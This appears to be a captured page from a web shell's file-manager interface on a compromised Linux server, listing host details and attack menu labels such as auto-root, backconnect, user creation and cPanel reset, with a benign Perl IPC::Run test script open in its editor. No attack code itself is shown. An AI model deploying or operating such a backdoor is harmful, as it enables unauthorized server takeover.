Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.16.130.96
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-IPC-Run-0.92 /
abuse /
[ HOME SHELL ]
Name
Size
Permission
Action
blocking_debug_with_sub_coproc...
823
B
-rw-r--r--
blocking_writes
1005
B
-rw-r--r--
broken_pipe_on_bad_executable_...
305
B
-rw-r--r--
timers
207
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocking_debug_with_sub_coprocess
/usr/bin/perl -w ## Submitted by Blair Zajac <blair@orcaware.com> ## Tests blocking when piping though a &sub coprocess. ## Fixed, now in test suite. $| = 1; use strict; use Carp; use Symbol; use IPC::Run 0.44 qw(start); print "My pid is $$\n"; my $out_fd = gensym; open($out_fd, ">ZZZ.test") or die "$0: open: $!\n"; my $queue = ''; my @commands = ([['cat', '-'], \$queue, '|'], [['cat'], '|'], [\&double, '>', $out_fd]); my $harness = start 'debug' => 10, map { @$_ } @commands; $harness or die "$0: harness\n"; close($out_fd) or die "$0: cannot close: $!\n"; for (1..100) { $queue .= rand(100) . "\n"; $harness->pump; } $harness->finish or die "$0: finish\n"; exit 0; sub double { while (<STDIN>) { s/\s+$//; print "$_ $_\n"; } }
Close
